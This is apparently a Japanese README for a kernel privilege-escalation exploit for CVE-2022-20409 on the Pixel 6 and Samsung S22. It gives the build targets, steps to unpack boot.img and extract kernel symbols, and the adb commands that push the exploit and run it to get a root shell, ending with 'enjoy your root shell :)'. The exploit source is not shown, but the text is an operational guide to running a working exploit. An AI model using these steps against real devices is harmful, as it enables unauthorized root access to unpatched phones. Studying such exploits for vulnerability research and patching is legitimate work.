
CVE-2022-20409 向けの Android カーネルエクスプロイト
Android NDK がインストールされていることを確認してください。pixel 6 の場合:
make pixel
samsung s22 の場合:
make s22
このエクスプロイトは、異なるバージョンのカーネルをサポートするように書かれています。エクスプロイトを別のカーネルに移植するには、対象カーネルのシンボルファイルを抽出する必要があります。
カーネルは、電話機のファクトリーイメージから抽出できます。Pixel の場合は、ここ からファクトリーイメージをダウンロードしてください。
イメージをダウンロードしたら、イメージを展開して boot.img ファイルを取得します。boot.img は tools/unpack_bootimg.py で展開できます。
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
カーネルは out/kernel にあります。
次に、カーネルイメージを使用して、vmlinux-to-elf でカーネルシンボルを抽出できます。
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
抽出されたシンボル内の Version string が、電話機のカーネルバージョンと一致することを確認する必要があります。電話機のカーネルバージョンは adb で確認できます。たとえば、
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
は、次と一致します。
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
これで、以下のコマンドでエクスプロイトとシンボルファイルを電話機にプッシュして、ルート化できます。
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
ルートシェルをお楽しみください :)